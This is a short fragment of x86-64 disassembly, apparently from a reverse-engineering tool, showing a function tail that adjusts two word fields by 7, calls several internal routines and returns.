movzx r8d, ax
mov rdx, rsi
mov rcx, rbp
call fcn.14004eaf0
mov rcx, rsi
mov edi, eax
call fcn.140034640
test edi, edi
je 0x14004e2e1
movzx ecx, word [rbx + 4]
movzx eax, word [rbx + 2]
mov dword [rsp + 0x60], eax
add eax, 7
mov dword [rsp + 0x68], eax
lea eax, [rcx + 7]
mov dword [rsp + 0x64], ecx
mov r8, qword [rsp + 0x60]
mov rcx, rbp
mov dword [rsp + 0x6c], eax
mov rdx, qword [rsp + 0x68]
call fcn.14004ecf8
mov rdx, r14
mov rcx, rbp
call fcn.14004e158
mov edi, eax
mov eax, edi
jmp 0x14004e2e7
xor eax, eax
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret